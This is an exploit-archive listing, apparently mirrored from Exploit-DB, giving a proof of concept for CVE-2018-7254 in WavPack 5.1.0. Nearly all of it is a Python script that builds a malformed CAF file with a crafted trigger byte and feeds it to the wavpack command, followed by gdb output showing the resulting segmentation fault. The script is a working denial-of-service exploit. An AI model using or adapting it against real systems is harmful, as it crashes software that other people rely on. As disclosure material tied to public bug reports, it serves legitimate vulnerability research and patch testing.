Wavpack 5.1.0 – Denial of Service

  • 作者: r4xis
    日期: 2018-02-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44154/
  • # Exploit title: Wavpack 5.1.0 - Denial of Service
    # Date: 20.02.2018
    # Exploit Author: r4xis
    # https://github.com/r4xis
    #
    # Vendor Homepage:http://www.wavpack.com/
    # Software Links: http://www.wavpack.com/downloads.html
    # https://github.com/dbry/WavPack
    #
    #
    # Version: Wavpack 5.1.0
    # Tested on:Debian 9.3.0 64 bit
    # Windows 7 32 bit and 64 bit
    # Windows 8 64 bit
    #
    #
    # CVE: CVE-2018-7254
    # CVE Details:
    # https://nvd.nist.gov/vuln/detail/CVE-2018-7254
    # https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
    # https://github.com/dbry/WavPack/issues/26
    
    
    import os
    
    head = "\x63\x61\x66\x66"
    version = "\x00\x01"
    junk1 = "\x00"*(0xa0-6)
    crash = "\x80"
    junk2 = "\x00"*100
    
    f=open("poc.caf", 'w')
    f.write(head+version+junk1+crash+junk2)
    f.close()
    
    os.system("wavpack poc.caf")
    
    '''
    Debian gdb output:
    Program received signal SIGSEGV, Segmentation fault.
    __memmove_sse2_unaligned_erms ()
    at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333
    333	../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    '''